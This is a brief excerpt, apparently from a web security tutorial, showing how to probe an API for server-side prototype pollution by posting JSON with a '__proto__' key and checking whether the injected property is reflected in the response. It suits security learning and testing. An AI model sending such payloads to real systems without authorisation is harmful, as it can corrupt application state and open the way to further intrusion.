POST /api/user HTTP/1.1
Host: vuln-api.com
...
{
"user":"bob",
"firstName":"Bob",
"lastName":"Smith",
"__proto__":{
"foo":"bar"
}
}
If the target is vulnerable to SSPP, then you may see a new property called foo with the value of bar reflected in the response:
HTTP/1.1 200 OK
...
{
"username":"bob",
"firstName":"Bob",
"lastName":"Smith",
"foo":"bar"
}